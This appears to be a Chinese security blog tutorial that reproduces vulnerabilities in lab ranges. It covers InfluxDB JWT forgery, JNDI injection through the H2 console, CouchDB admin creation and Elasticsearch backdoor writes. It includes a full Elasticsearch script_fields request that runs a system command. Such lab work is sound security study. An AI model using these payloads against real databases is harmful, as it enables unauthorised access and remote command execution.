服务攻防-数据库安全-Influxdb&H2database&CouchDB&ElasticSearch数据库漏洞复现

这篇具有很好参考价值的文章主要介绍了服务攻防-数据库安全-Influxdb&H2database&CouchDB&ElasticSearch数据库漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、Influxdb-未授权访问-Jwt 验证不当

1、Infuxdb简介

2、安全问题

3、漏洞复现 

二、H2database-未授权访问-配置不当

1、H2database简介

2、安全问题

3、漏洞复现 

三、CouchDB-权限绕过配合RCE-漏洞

1、CouchDB简介

2、安全问题

3、漏洞复现 

四 、ElasticSearch-文件写入&RCE-漏洞

1、ElasticSearch简介

2、漏洞复现-1

3、漏洞复现-2

五、数据库安全总结导图


一、Influxdb-未授权访问-Jwt 验证不当

1、Infuxdb简介

        默认端口:8086    8088。

        InfluxDB 是一个开源的时间序列数据库,旨在处理大规模数据处理和分析的高写入和查询负载。它针对实时存储和查询大量时间戳数据进行了优化。

        InfluxDB 提供了一种类似 SQL 的查询语言称为 InfluxQL,允许用户从数据库中检索和操作数据。它还支持各种客户端库和插件,以与其他数据源和工具集成。

        InfluxDB 的一些主要特点包括:

  • 高写入和查询性能:InfluxDB 优化了高吞吐量数据摄取和检索,非常适合实时数据处理和分析。

  • 数据保留策略:InfluxDB 允许用户设置数据保留策略,自动过期旧数据,有助于管理数据库大小和提高性能。

  • 标记和过滤:InfluxDB 支持标记,它们是键值对,可用于过滤和分组分析数据。

  • 连续查询:InfluxDB 允许用户定义连续查询,在后台运行并自动从原始数据计算聚合值。

  • InfluxDB Cloud:除了开源版本的 InfluxDB 外,还有一个名为 InfluxDB Cloud 的云托管版本,提供完全托管、可扩展的数据库即服务解决方案。

        总的来说,InfluxDB 是管理和分析时间序列数据的强大工具,在金融、医疗保健和物联网等各个行业得到广泛应用。

2、安全问题

        当用户开启了认证但未设置参数 shared-secret 时,InfluxDB会使用一个空字符串作为认证密钥来对JWT进行签名和验证。这种情况下,攻击者可以使用伪造的JWT来模拟任何用户身份,并在InfluxDB中执行SQL语句,这可能导致严重的安全问题。

3、漏洞复现 

        启动靶场环境。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        扫描环境端口,可以看到8086端口处于开启状态。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        直接在网上搜索influxdb的漏洞,就可以看到很多复现教程。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        我们打开网站并在其末尾添加下图所示内容,访问后可以看到下面的页面。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        访问下面的路径后并以post的方式上传下面的参数后会弹出一个登录框,也就是说这个操作是需要登陆后经过授权才可以执行的。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        当我们什么也不输入的时候网页会报下面的错误。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        由于其存在未授权访问漏洞,并且这个未授权访问采用的是jwt,所以可以模拟jwt来生成一个用户为admin用户,并且exp时间戳(代表着这个token的过期时间)大于当前时间的token。 

        将下面的内容在“JSON Web Tokens - jwt.io”内进行加密,并且让密钥为空。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将上面生成出来的密钥复制,然后粘贴到数据包内。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将数据包发送出去之后可以看到成功查询到了数据。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

二、H2database-未授权访问-配置不当

1、H2database简介

        默认端口:20051 。 

        H2database是一个开源的Java嵌入式关系型数据库管理系统(RDBMS),具有轻量级、高性能、易于使用等特点。它支持标准的SQL语言和JDBC API,可以在内存或者磁盘上存储数据,同时提供了高级特性如事务管理、索引、触发器、存储过程等。

        H2database的特点包括:

  • 嵌入式:H2database可以嵌入到Java应用程序中,因此不需要独立的数据库服务器或者额外的配置,使得应用程序更加易于部署和管理。

  • 高性能:H2database被设计为轻量级数据库,因此具有非常高的性能,可以处理大量的数据操作。

  • 支持多种模式:H2database支持多种不同的模式,包括内存模式、磁盘模式、混合模式等,可以根据具体的应用场景选择最适合的存储方式。

  • 兼容性:H2database完全支持标准的SQL语言和JDBC API,因此可以方便地与其他数据库系统集成。

  • 可扩展性:H2database支持事务管理、索引、触发器、存储过程等高级特性,同时还支持使用Java代码编写自定义的函数和存储过程,因此非常灵活和可扩展。

        总的来说,H2database是一个功能丰富、易于使用、高性能的Java嵌入式关系型数据库管理系统,适用于各种不同的应用场景,包括移动应用、桌面应用、Web应用等。

2、安全问题

        H2 database自带一个Web管理页面,可以通过浏览器来访问和管理数据库。

        在Spring开发中,如果将以下选项设置为true,则可以允许外部用户访问Web管理页面,且不进行身份验证:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

        spring.h2.console.enabled选项用于启用H2 database的Web管理页面;

        spring.h2.console.settings.web-allow-others选项用于允许外部用户访问该页面。

        如果这两个选项开启则会使得Web管理页面变得容易受到攻击,利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

3、漏洞复现 

        启动靶场环境。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        下载 JNDI-Injection-Exploit——https://github.com/welk1n/JNDI-Injection-Exploit.git。


补充:

        JNDI注入是一种攻击方式,它可以利用Java命名和目录接口(JNDI)来执行远程命令执行(RCE)攻击。攻击者可以利用JNDI注入来将恶意的JNDI对象注入到目标应用程序中,并使其在应用程序尝试使用该JNDI对象时执行恶意代码。

        在使用JNDI注入进行攻击时,可以使用一些工具来自动生成恶意JNDI对象并将其注入到目标应用程序中。其中,JNDI-Injection-Exploit是一个自动化工具,它可以利用JNDI注入漏洞执行远程命令执行攻击。

        -C - 远程class文件中要执行的命令。

        -A - 服务器地址,可以是IP地址或者域名。


        下载到桌面上运行后来生成JNDI链接。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将链接复制后打开控制终端,可以看到需要进行登陆。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        先查看服务器当前的目录。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将下图所示的两个框内的内容更改成下面的内容。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        点击“Connect”。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        再次查看服务器的目录,发现没有任何变化。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        查看监听状态发现也没有监听到任何内容。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        这是什么原因呢?

        是因为这个jar包在进行攻击的时候是远程去调用的,但是我们是在本地去监听,所以服务器上就不会有新增内容,所以需要使用一台外网的主机来对其进行监听才会成功。

        使用外网主机再次生成并监听,将其进行复制。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        再次粘贴到指定位置后,点击“Connect”。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        此时就可以看到成功监听到了内容。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        文件目录也成功多出了一个文件。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

三、CouchDB-权限绕过配合RCE-漏洞

1、CouchDB简介

        默认端口:5984。 

        CouchDB是一个面向文档的NoSQL数据库,采用JSON作为文档数据格式,并使用RESTful API提供数据访问接口。以下是CouchDB的一些特点和优势:

  • 分布式数据库:CouchDB是一个分布式数据库,支持多节点复制和同步,可以在不同的服务器之间实现数据备份和恢复。
  • 面向文档:CouchDB采用面向文档的数据模型,每个文档都是一个自包含的数据结构,可以存储任意类型的数据,无需遵循固定的表结构。
  • RESTful API:CouchDB使用RESTful API提供数据访问接口,支持HTTP协议,可通过简单的HTTP请求进行数据操作。
  • MapReduce视图:CouchDB使用MapReduce视图来处理和查询数据,可以在不同的文档之间进行关联查询和聚合计算。
  • ACID事务支持:CouchDB支持ACID事务特性,可以保证数据的一致性、可靠性和可恢复性。
  • 可扩展性:CouchDB具有良好的可扩展性和灵活性,可以根据需要进行水平和垂直扩展。
  • 开源免费:CouchDB是一款开源免费的数据库软件,可以在各种平台上免费使用和修改。

        CouchDB适用于需要存储和处理非结构化数据的应用场景,例如Web应用、移动应用、社交网络和协同办公等。由于CouchDB具有良好的可扩展性和分布式特性,因此也适用于需要处理大规模数据和高并发请求的应用场景。

2、安全问题

        由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

3、漏洞复现 

        启动靶场环境。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        访问后可以看到下面的页面。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        抓取数据包将数据包更改成下面的样式,可以看到此时是失败的。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将数据包再次进行修改,发送包含两个roles的数据包,即可绕过限制,可以看到这时成功了,此时就成功创建了管理员账户,账户名和密码均为“vulhub”。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        进入下面的地址,输入账号和密码后点击登陆。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        可以看到成功登陆进去了。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

四 、ElasticSearch-文件写入&RCE-漏洞

1、ElasticSearch简介

        默认端口:9200    9300。 

        Elasticsearch是一个基于Lucene的搜索引擎,也是一个分布式文档存储和分析引擎。以下是Elasticsearch的一些特点和优势:

  • 分布式架构:Elasticsearch采用分布式架构,可以在多个节点上存储和处理数据,支持数据水平扩展。
  • 实时搜索:Elasticsearch提供实时搜索和分析功能,可以在毫秒级别内返回搜索结果。
  • 多数据源支持:Elasticsearch支持多种数据源,包括结构化数据和非结构化数据,可以存储和处理各种类型的数据。
  • 全文搜索:Elasticsearch采用全文搜索引擎技术,支持文本分词、近似匹配和聚合分析等功能。
  • RESTful API:Elasticsearch提供RESTful API接口,可以通过HTTP请求进行数据操作和查询。
  • 大数据处理:Elasticsearch支持大规模数据的存储和处理,可以处理PB级别的数据。
  • 实时监控和分析:Elasticsearch提供实时监控和分析功能,可以对数据进行实时监控和分析,帮助用户快速发现问题和解决问题。
  • 开源免费:Elasticsearch是一款开源免费的软件,可以在各种平台上免费使用和修改。

        Elasticsearch适用于需要搜索、分析和处理大量数据的应用场景,例如日志分析、搜索引擎、电商网站、社交网络和物联网等。由于Elasticsearch具有良好的可扩展性和分布式特性,因此也适用于需要处理大规模数据和高并发请求的应用场景。

2、漏洞复现-1

        在在线靶场内找到对应环境。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        启动环境。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用。

        发现9200端口存在elasticsearch页面,8080存在tomcat目录

        利用ElasticSearch写入后门至usr/local/tomcat/webapps/wwwroot/

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全
        移动路径。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        配置。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        访问对应地址,使用参数f控制要写入的内容。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        访问对应路径,可以看到参数成功写入了。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

3、漏洞复现-2

        在在线靶场内找到对应环境并启动。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据。

        访问靶场地址后抓取数据包。

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        将数据包更改成下面的样式并放包。

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

        再将数据包更改成下面的样式,放包,可以看到成功执行了对应的命令。

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全

五、数据库安全总结导图

influxdb漏洞,Influxdb,H2database,CouchDB,ElasticSearch,数据库安全


此篇文章接上篇文章:https://blog.csdn.net/weixin_62808713/article/details/130444142文章来源地址https://www.toymoban.com/news/detail-599517.html


到了这里,关于服务攻防-数据库安全-Influxdb&H2database&CouchDB&ElasticSearch数据库漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全全栈培训笔记(55-服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE)

    知识点: 1、服务攻防数据库类型安全 2、RedisHadoopMysql安全 3、Mysql-CVE-2012-2122漏洞 4、Hadoop-配置不当未授权三重奏RCE漏洞 3、Redis-配置不当未授权三重奏RCE两漏洞 #章节内容: 常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制特定安全漏洞 3、安全机制弱口令爆

    2024年01月23日
    浏览(47)
  • 数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现

    参考:influxdb CVE-2019-20933 靶场环境:vulhub 打开靶场进入环境: 访问: 端口扫描: 默认端口: 8086:用于客户端和服务端交互的HTTP API 8088 :用于提供备份和恢复的RPC服务 influxdb 是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared-s

    2024年02月06日
    浏览(40)
  • [时序数据库]:InfluxDB进阶

    摘要:InfluxQL;InfluxQL工具类;influxdb.java客户端 针对新版Influx V2.0 版本数据库: 其一,influx支持两种查询语言,flux和InfluxQL,然后InfluxQL在高版本中已没有得到较好维护,因而,在后续开发中,笔者采用Influx V1.x 版本来进行开发。 针对使用新版Influx数据库,目前在其上做操做

    2024年02月12日
    浏览(36)
  • 时序数据库influxdb笔记

    官方资料 flux语言资料 https://docs.influxdata.com/flux/v0.x/ https://docs.influxdata.com/flux/v0.x/get-started/data-model/ flux语言官方已准备在3.0放弃请务必注意 influxdb资料 https://docs.influxdata.com/influxdb/v2.7/install/?t=Linux https://www.influxdata.com/influxdb/ 安装 1、linux平台下 1)下载 2)解压 3)添加账户(

    2024年02月12日
    浏览(40)
  • Influxdb数据库(centos7)

    简介 InfluxDB是一个由InfluxData开发的开源时序型数据库,专注于海量时序数据的高性能读、高性能写、高效存储与实时分析等,在DB-Engines Ranking时序型数据库排行榜上排名第一: InfluxDB广泛应用于DevOps监控、IoT监控、实时分析等场景。除了具有成本优势的高性能读、高性能写、

    2024年02月12日
    浏览(49)
  • 时序数据库InfluxDB快速入门使用

    推荐博客: 超完整的influxdb学习教程 Influxdb中文文档 linux安装influxdb Influxdb安装、启动influxdb控制台、常用命令、Influx命令使用、Influx-sql使用举例、Influxdb的数据格式、Influxdb客户端工具 1、influxdb数据库官网的下载链接: 2、linux版本的1.8.4版本具体参考链接: 3、安装后的相关

    2024年02月07日
    浏览(36)
  • Windows下 influxdb 数据库安装和简单使用

    你可以从 InfluxDB 的 InfluxDB官网winndows二进制安装包下载适用于不同操作系统的 InfluxDB 安装包。在本教程中,我们将介绍在 Windows上安装 InfluxDB 的步骤。 如果所示,可以点击下载windows版本的安卓版,右上角还可以切换其他版本的安装包。 下载后解压,里面有个influxd.e

    2024年02月08日
    浏览(37)
  • 数据库信息速递: Apache Arrow 如何加速 InfluxDB (翻译)

    开头还是介绍一下群,如果感兴趣PolarDB ,MongoDB ,MySQL ,PostgreSQL ,Redis, Oceanbase, Sql Server等有问题,有需求都可以加群群内,可以解决你的问题。加群请联系 liuaustin3 ,(共1760人左右 1 + 2 + 3 + 4 +5) 4群(260+),另欢迎 OpenGauss 的技术人员加入。 最近是百业萧条,本地前十的新能源

    2024年02月03日
    浏览(53)
  • 三种常用时序数据库对比调研-InfluxDB、Prometheus、IotDB

    时序数据治理是数据治理领域核心、打通IT与OT域数据链路,是工业物联网基石、大数据价值创造的关键、企业管理提升的发动机、是数字化转型的重要支撑。 工业企业在生产经营过程中,会运用物联网技术,采集大量的数据并进行实时处理,这些数据都是时序的,而且具有

    2024年02月22日
    浏览(45)
  • 漏洞复现Influxdb,H2database,couchDB,ElasticSearch

    一、Influxdb - 未授权访问 - Jwt 验证不当 默认端口: 8086 8088 influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared - secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。 1 、借助https

    2023年04月10日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包